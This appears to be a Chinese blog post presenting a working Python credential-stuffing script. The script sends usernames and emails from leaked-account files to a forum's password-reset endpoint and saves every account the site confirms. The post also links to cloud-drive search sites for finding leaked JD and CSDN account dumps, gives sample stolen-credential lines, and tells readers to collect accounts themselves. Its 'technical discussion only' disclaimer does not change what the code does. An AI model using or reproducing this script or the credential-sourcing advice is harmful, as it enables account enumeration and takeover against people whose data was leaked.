其实日常生活中我们的用户名和密码就那么几个,所以这给撞库带来了可能,本文主要给出python脚本撞库的一点粗浅代码。这里只讨论技术本生,代码中某榴的地址也已经改掉,避免被管理员误解禁言等发生,谢谢大家理解。

代码如下:

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-
# flake8: noqa
__author__ = 'wukong'
 
 
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
 
import requests
import time
         
def test_register(username,email):
 
    headers={
        "Content-Type": "application/x-www-form-urlencoded",
        "user-agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36",
        "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        "content-length":"44",
    }
     
    try:
        params={'pwuser':username,'email':email,'step':'2'}
        print params
        r=requests.post("https://某榴.tk/sendpwd.php?",data=params,headers=headers)
        result=r.text.encode("latin1").decode("gbk")
        return result.replace('\n','').replace('\t','').replace('\r','').replace(' ','')
    except Exception as e:
        print e
         
def check_file(username,password,email,file):
    what = test_register(username,email)
    if what and u"注意查收" in what:
        print username,password,email
        info=username+","+password+","+email
        with open(file, 'a+') as f:
            f.write(info+'\n')   #加\n换行显示
             
def check_txt(no):
    out_put="output"+str(no)+".txt"
    file=str(no)+".txt"
    fh = open(file)
    for line in  fh.readlines():
        try:
            r=line.split(",")
            username=r[0]
            password=r[1]
            email=r[2]
            check_file(username,password,email,out_put)
        except Exception as e:
            print "ee",e
        time.sleep(10)
 
if __name__ == '__main__':
    #get_all_data()
   check_txt(4)

把代码放到某个文件夹里面,然后准备几个txt文档,文档以0-n的自然数命名,文件格式为:
caopengyu,rQf7JaotOp+W7h12XgvpAg==,yamaoshixode@163.com
中二病,AAO2b4zLbWtgu6gxcyYHiQ==,2054117123@qq.com

主函数中写4 代表文档4.txt,都很简单,其他依此类推。

至于账号问题,曾经京东、csdn都泄露过一批账号,现在可以搜索到,我经常使用网盘搜索:
http://www.quzhuanpan.com/source/search.action?q=%E6%B3%84%E9%9C%B2%E8%B4%A6%E5%8F%B7¤tPage=1
https://www.panc.cc/s/%E8%B4%A6%E5%8F%B7%20%E6%B3%84%E9%9C%B2/td_0
http://www.panduoduo.net/s/name/%E8%B4%A6%E5%8F%B7%20%E6%B3%84%E9%9C%B2
大家自己尝试获取一些账号。不会百度吧,这年头不会搜东西的程序猿不是好程序猿。

仅限技术讨论,勿要深究其他问题出现不和谐的东西,再次感谢,多多指正。

最新文章

  1. Socket网络编程一
  2. Maven 配置远程仓库
  3. 程序员用HTML5制作的爱心树表白动画
  4. 20145334赵文豪 《Java程序设计》第4周学习总结
  5. android 67 生成和解析xml
  6. Android ImageView的scaletype属性
  7. Access-简易进销存管理系统
  8. JS正则密码复杂度校验之:JS正则匹配半角英文符号
  9. [转]快速新建简单的koa2后端服务
  10. git 提交代码场景
  11. 深入详解美团点评CAT跨语言服务监控(八)报表持久化
  12. [UE4]自定义结构体、类、数据表
  13. 《算法》第六章部分程序 part 2
  14. Postman 测试swagger类接口技巧
  15. EF 更新实体 The instance of entity type 'BabyEvent' cannot be tracked because another instance
  16. 扩展、委托、Lambda、linq
  17. session hijacking-php.ini
  18. 《WAP团队》项目系统设计改进与详细设计
  19. 【转】JQuery Validate使用总结二
  20. 查看修复HDFS中丢失的块

热门文章

  1. jquery获取li里面的第一个a标签
  2. Maven+SpringMVC+Freemarker入门Demo
  3. (转)NIO 文件锁定
  4. 记一次vue2路由参数传递this指针问题
  5. 以JPanel为基础实现一个图像框
  6. Js和html相结合的方式
  7. LoadRunner访问 Mysql数据库
  8. js 创建数组方法以及区别
  9. Android中Word转Html
  10. 老项目转为maven的步骤具体说明